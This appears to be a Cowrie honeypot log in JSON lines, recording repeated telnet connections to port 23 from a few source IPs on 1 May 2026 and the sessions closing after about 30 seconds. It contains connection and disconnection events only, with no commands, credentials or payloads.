{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":49016,"dst_ip":"10.17.0.5","dst_port":23,"session":"e40f324723a4","protocol":"telnet","message":"New connection: 103.249.100.206:49016 (10.17.0.5:23) [session: e40f324723a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:10.638206Z"}
{"eventid":"cowrie.session.closed","duration":31.42470645904541,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:10.719620Z","src_ip":"216.238.80.67","session":"0c91b0f32d0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":49104,"dst_ip":"10.17.0.5","dst_port":23,"session":"9697b7f7b883","protocol":"telnet","message":"New connection: 103.249.100.206:49104 (10.17.0.5:23) [session: 9697b7f7b883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:10.740120Z"}
{"eventid":"cowrie.session.closed","duration":30.65651535987854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:11.195609Z","src_ip":"103.249.100.206","session":"3f658895a9ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":41220,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec750e2c7255","protocol":"telnet","message":"New connection: 216.238.80.67:41220 (10.17.0.5:23) [session: ec750e2c7255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:11.287507Z"}
{"eventid":"cowrie.session.closed","duration":31.203043699264526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:11.554185Z","src_ip":"216.238.80.67","session":"bb752bf12b14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.555649995803833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:11.830684Z","src_ip":"103.249.100.206","session":"d2437d4b4812","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86975622177124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:12.186023Z","src_ip":"216.238.80.67","session":"893505796e61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":49704,"dst_ip":"10.17.0.5","dst_port":23,"session":"3036d965a271","protocol":"telnet","message":"New connection: 103.249.100.206:49704 (10.17.0.5:23) [session: 3036d965a271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:12.207253Z"}
{"eventid":"cowrie.session.closed","duration":30.941481828689575,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:13.161826Z","src_ip":"103.249.100.206","session":"b4df85cb3f70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":53014,"dst_ip":"10.17.0.5","dst_port":23,"session":"047eabf79143","protocol":"telnet","message":"New connection: 103.249.100.206:53014 (10.17.0.5:23) [session: 047eabf79143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:13.694478Z"}
{"eventid":"cowrie.session.closed","duration":30.997675895690918,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:14.047862Z","src_ip":"216.238.80.67","session":"0c43a28afa73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59944224357605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:14.544812Z","src_ip":"103.249.100.206","session":"5804137a50f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":52994,"dst_ip":"10.17.0.5","dst_port":23,"session":"88c3ff095eec","protocol":"telnet","message":"New connection: 103.249.100.206:52994 (10.17.0.5:23) [session: 88c3ff095eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:14.640855Z"}
{"eventid":"cowrie.session.closed","duration":31.181897163391113,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:14.882231Z","src_ip":"103.249.100.206","session":"395fca3283b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":54566,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f46d42e7b3c","protocol":"telnet","message":"New connection: 103.249.100.206:54566 (10.17.0.5:23) [session: 9f46d42e7b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:14.888819Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":55630,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff50041bfa6a","protocol":"telnet","message":"New connection: 103.249.100.206:55630 (10.17.0.5:23) [session: ff50041bfa6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:16.536596Z"}
{"eventid":"cowrie.session.closed","duration":31.02005624771118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:16.664546Z","src_ip":"216.238.80.67","session":"ef09f870892d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00223422050476,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:16.706228Z","src_ip":"216.238.80.67","session":"a1cf471e70db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":56866,"dst_ip":"10.17.0.5","dst_port":23,"session":"035236751b08","protocol":"telnet","message":"New connection: 103.249.100.206:56866 (10.17.0.5:23) [session: 035236751b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:16.737442Z"}
{"eventid":"cowrie.session.closed","duration":30.96686601638794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:16.829790Z","src_ip":"103.249.100.206","session":"a82a2aadb667","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.543179035186768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:16.879133Z","src_ip":"216.238.80.67","session":"c7155e446077","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":56062,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbe511249028","protocol":"telnet","message":"New connection: 103.249.100.206:56062 (10.17.0.5:23) [session: dbe511249028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:17.023162Z"}
{"eventid":"cowrie.session.closed","duration":30.34292197227478,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:17.208395Z","src_ip":"103.249.100.206","session":"32f16d72f086","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.523618936538696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:17.309804Z","src_ip":"216.238.80.67","session":"52f070c3f4cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":56576,"dst_ip":"10.17.0.5","dst_port":23,"session":"0634d4090d8c","protocol":"telnet","message":"New connection: 103.249.100.206:56576 (10.17.0.5:23) [session: 0634d4090d8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:17.426760Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":57838,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1a44c5e5013","protocol":"telnet","message":"New connection: 103.249.100.206:57838 (10.17.0.5:23) [session: c1a44c5e5013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:17.460200Z"}
{"eventid":"cowrie.session.closed","duration":30.93034076690674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:17.536476Z","src_ip":"103.249.100.206","session":"e0b316f7e7bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":58126,"dst_ip":"10.17.0.5","dst_port":23,"session":"26be6dfc0c81","protocol":"telnet","message":"New connection: 103.249.100.206:58126 (10.17.0.5:23) [session: 26be6dfc0c81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:17.762519Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":44870,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a6f76814c00","protocol":"telnet","message":"New connection: 216.238.80.67:44870 (10.17.0.5:23) [session: 2a6f76814c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:17.839041Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":58424,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e14bb812709","protocol":"telnet","message":"New connection: 103.249.100.206:58424 (10.17.0.5:23) [session: 9e14bb812709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:17.952920Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":59000,"dst_ip":"10.17.0.5","dst_port":23,"session":"43e96a2ddd16","protocol":"telnet","message":"New connection: 103.249.100.206:59000 (10.17.0.5:23) [session: 43e96a2ddd16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:18.346259Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":45982,"dst_ip":"10.17.0.5","dst_port":23,"session":"80cc182ea3cf","protocol":"telnet","message":"New connection: 216.238.80.67:45982 (10.17.0.5:23) [session: 80cc182ea3cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:18.396828Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":55660,"dst_ip":"10.17.0.5","dst_port":23,"session":"390e69d673fb","protocol":"telnet","message":"New connection: 103.249.100.206:55660 (10.17.0.5:23) [session: 390e69d673fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:18.576863Z"}
{"eventid":"cowrie.session.closed","duration":31.144824504852295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:18.830935Z","src_ip":"103.249.100.206","session":"dfead101c38d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":60252,"dst_ip":"10.17.0.5","dst_port":23,"session":"282b9a103b67","protocol":"telnet","message":"New connection: 103.249.100.206:60252 (10.17.0.5:23) [session: 282b9a103b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:19.542349Z"}
{"eventid":"cowrie.session.closed","duration":31.594915628433228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:19.845939Z","src_ip":"162.241.114.254","session":"06482fd6f90b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.93041753768921,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:19.874366Z","src_ip":"103.249.100.206","session":"5bf6c6adec4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.456417083740234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:20.184840Z","src_ip":"103.249.100.206","session":"fbb436a8fcb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04681158065796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:20.638819Z","src_ip":"216.238.80.67","session":"098d112a3fe1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.20585560798645,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:20.817867Z","src_ip":"103.249.100.206","session":"6faba1f25890","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.882972478866577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:20.823915Z","src_ip":"216.238.80.67","session":"f081a06d3d39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.90609836578369,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:20.886189Z","src_ip":"103.249.100.206","session":"c97c1702bf08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":34696,"dst_ip":"10.17.0.5","dst_port":23,"session":"3660fd0d0f8f","protocol":"telnet","message":"New connection: 103.249.100.206:34696 (10.17.0.5:23) [session: 3660fd0d0f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:21.713107Z"}
{"eventid":"cowrie.session.closed","duration":31.17517352104187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:21.843611Z","src_ip":"103.249.100.206","session":"1b4c6a833dc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.862243175506592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:22.689075Z","src_ip":"103.249.100.206","session":"9d680cc130bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.67256784439087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:23.014667Z","src_ip":"103.249.100.206","session":"32a035f81007","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.422709941864014,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:23.118354Z","src_ip":"103.249.100.206","session":"ab261f6f8ab0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":36288,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9e4a079f732","protocol":"telnet","message":"New connection: 103.249.100.206:36288 (10.17.0.5:23) [session: f9e4a079f732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:23.137738Z"}
{"eventid":"cowrie.session.closed","duration":30.812581062316895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:23.335036Z","src_ip":"103.249.100.206","session":"f786e3e99354","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.629814624786377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:23.858311Z","src_ip":"103.249.100.206","session":"a21c43285536","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":37876,"dst_ip":"10.17.0.5","dst_port":23,"session":"acf007dbc010","protocol":"telnet","message":"New connection: 103.249.100.206:37876 (10.17.0.5:23) [session: acf007dbc010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:24.526736Z"}
{"eventid":"cowrie.session.closed","duration":30.949280738830566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:24.543343Z","src_ip":"216.238.80.67","session":"a1fbcaefd01b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85929250717163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:24.628428Z","src_ip":"103.249.100.206","session":"8e5e15f28537","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.466161727905273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:25.318836Z","src_ip":"216.238.80.67","session":"4786586a6129","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":50500,"dst_ip":"10.17.0.5","dst_port":23,"session":"3855b0450fb7","protocol":"telnet","message":"New connection: 216.238.80.67:50500 (10.17.0.5:23) [session: 3855b0450fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:25.357942Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":38994,"dst_ip":"10.17.0.5","dst_port":23,"session":"034cf13ad2b2","protocol":"telnet","message":"New connection: 103.249.100.206:38994 (10.17.0.5:23) [session: 034cf13ad2b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:25.574669Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":35780,"dst_ip":"10.17.0.5","dst_port":23,"session":"109c16020572","protocol":"telnet","message":"New connection: 103.249.100.206:35780 (10.17.0.5:23) [session: 109c16020572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:25.591898Z"}
{"eventid":"cowrie.session.closed","duration":31.278210163116455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:25.787506Z","src_ip":"103.249.100.206","session":"cb05ab98c868","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.72030067443848,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:25.805748Z","src_ip":"103.249.100.206","session":"e4ab824ba840","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":39186,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c8ea2dc0299","protocol":"telnet","message":"New connection: 103.249.100.206:39186 (10.17.0.5:23) [session: 5c8ea2dc0299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:25.863831Z"}
{"eventid":"cowrie.session.closed","duration":30.4150652885437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:26.158740Z","src_ip":"216.238.80.67","session":"a0136343935e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.188026189804077,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:26.388300Z","src_ip":"216.238.80.67","session":"b3eab1078987","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.320547580718994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:26.529374Z","src_ip":"216.238.80.67","session":"259a03364d04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":40104,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bb332d5e3d7","protocol":"telnet","message":"New connection: 103.249.100.206:40104 (10.17.0.5:23) [session: 1bb332d5e3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:26.652601Z"}
{"eventid":"cowrie.session.closed","duration":31.81005835533142,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:26.772343Z","src_ip":"103.249.100.206","session":"cc97eddc2bea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.72158908843994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:26.823920Z","src_ip":"103.249.100.206","session":"e7d2f42935d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.15151643753052,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:26.874118Z","src_ip":"103.249.100.206","session":"ccf20642cda0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.613801956176758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:27.138983Z","src_ip":"103.249.100.206","session":"3fd40a2f28e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.708532333374023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:27.254827Z","src_ip":"103.249.100.206","session":"e899c6151d4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.085833072662354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:27.268998Z","src_ip":"216.238.80.67","session":"53433e1f1da0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.494971752166748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:27.402152Z","src_ip":"103.249.100.206","session":"f39ef0482302","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":38724,"dst_ip":"10.17.0.5","dst_port":23,"session":"978c6630e4fd","protocol":"telnet","message":"New connection: 162.241.114.254:38724 (10.17.0.5:23) [session: 978c6630e4fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:27.662692Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":41316,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3d889d55cf2","protocol":"telnet","message":"New connection: 103.249.100.206:41316 (10.17.0.5:23) [session: e3d889d55cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:27.668368Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":38864,"dst_ip":"10.17.0.5","dst_port":23,"session":"e654e426a908","protocol":"telnet","message":"New connection: 162.241.114.254:38864 (10.17.0.5:23) [session: e654e426a908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:27.783916Z"}
{"eventid":"cowrie.session.closed","duration":31.399092197418213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:27.789397Z","src_ip":"103.249.100.206","session":"69b0543171db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.564527988433838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:28.302710Z","src_ip":"103.249.100.206","session":"6a45c1be9176","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.952486038208008,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:28.553929Z","src_ip":"216.238.80.67","session":"f42a6ae4a73f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.396326541900635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:28.682652Z","src_ip":"103.249.100.206","session":"2b1aa4dcb03e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.084328174591064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:29.419755Z","src_ip":"216.238.80.67","session":"cc724da584f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":39980,"dst_ip":"10.17.0.5","dst_port":23,"session":"c51a271b830a","protocol":"telnet","message":"New connection: 162.241.114.254:39980 (10.17.0.5:23) [session: c51a271b830a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:29.499474Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":52824,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdc6aaf3a028","protocol":"telnet","message":"New connection: 216.238.80.67:52824 (10.17.0.5:23) [session: cdc6aaf3a028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:29.607641Z"}
{"eventid":"cowrie.session.closed","duration":30.952139616012573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:29.789045Z","src_ip":"103.249.100.206","session":"a9d10452ba35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":42222,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e475ec1e36b","protocol":"telnet","message":"New connection: 103.249.100.206:42222 (10.17.0.5:23) [session: 7e475ec1e36b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:16:29.800825Z"}
